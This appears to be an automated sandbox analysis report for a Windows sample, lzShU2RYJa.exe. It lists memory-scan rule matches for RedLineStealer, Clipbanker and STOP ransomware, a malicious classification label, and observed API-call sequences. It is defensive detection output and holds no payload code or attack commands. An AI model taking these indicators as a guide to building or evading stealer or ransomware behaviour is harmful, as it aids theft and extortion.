Source: 00000003.00000002.1672708440.00000000043EE000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000000A.00000002.1811694800.0000000004498000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000001F.00000002.3649759397.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 0000001F.00000002.3649759397.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 00000010.00000002.1908589988.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 00000010.00000002.1908589988.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000006.00000002.4097772693.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000006.00000002.4097772693.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0000001E.00000002.3650596278.0000000000920000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000001C.00000002.3045202111.0000000000A70000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 0000001C.00000002.3045202111.0000000000A70000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 00000014.00000002.4097695967.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 00000014.00000002.4097695967.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0000000A.00000002.1811861387.0000000005DE0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000000B.00000002.1824658419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000000B.00000002.1824658419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000017.00000002.2073412438.00000000041E0000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000018.00000002.2083221508.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000018.00000002.2083221508.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000013.00000002.2007782778.0000000000920000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 00000013.00000002.2007782778.0000000000920000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 0000001A.00000002.2400360433.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 0000001A.00000002.2400360433.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 00000007.00000002.1751059167.0000000001B1E000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000000D.00000002.1907561192.0000000000890000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 0000000D.00000002.1907561192.0000000000890000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 00000005.00000002.1678165141.0000000005F20000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000001C.00000002.3045395033.0000000000AA0000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000005.00000002.1677904681.00000000041D2000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000019.00000002.2401128925.0000000000960000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.1643666413.00000000044E0000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000000D.00000002.1907718184.000000000091D000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000019.00000002.2400866034.00000000008E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 00000019.00000002.2400866034.00000000008E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 00000017.00000002.2074026012.0000000005E60000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000000.00000002.1643736078.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000001E.00000002.3650468673.00000000008F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 0000001E.00000002.3650468673.00000000008F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 00000013.00000002.2008242016.0000000000B8C000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: Process Memory Space: lzShU2RYJa.exe PID: 7328, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: lzShU2RYJa.exe PID: 7344, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: lzShU2RYJa.exe PID: 7448, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: lzShU2RYJa.exe PID: 7464, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: lzShU2RYJa.exe PID: 7472, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: lzShU2RYJa.exe PID: 7540, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: lzShU2RYJa.exe PID: 7780, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: lzShU2RYJa.exe PID: 7832, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: lzShU2RYJa.exe PID: 7320, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: lzShU2RYJa.exe PID: 7432, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.rans.spre.troj.spyw.evad.winEXE@44/1403@9/5

Source: C:\Users\user\Desktop\lzShU2RYJa.exe

Code function: 1_2_00411900 GetLastError,FormatMessageW,lstrlenW,lstrlenW,lstrlenW,LocalAlloc,lstrcpyW,lstrcatW,lstrcatW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,_memset,lstrcpynW,MessageBoxW,LocalFree,LocalFree,LocalFree,

1_2_00411900

Source: C:\Users\user\Desktop\lzShU2RYJa.exe

Code function: 0_2_044E07C6 CreateToolhelp32Snapshot,Module32First,

0_2_044E07C6

Source: C:\Users\user\Desktop\lzShU2RYJa.exe

Code function: 1_2_0040D240 CoInitialize,CoInitializeSecurity,CoCreateInstance,VariantInit,VariantInit,VariantInit,VariantInit,VariantInit,VariantClear,VariantClear,VariantClear,VariantClear,CoUninitialize,CoUninitialize,CoUninitialize,__time64,__localtime64,_wcsftime,VariantInit,VariantInit,VariantClear,VariantClear,VariantClear,VariantClear,swprintf,CoUninitialize,CoUninitialize,

1_2_0040D240

Source: C:\Users\user\Desktop\lzShU2RYJa.exe

File created: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8176:120:WilError_03
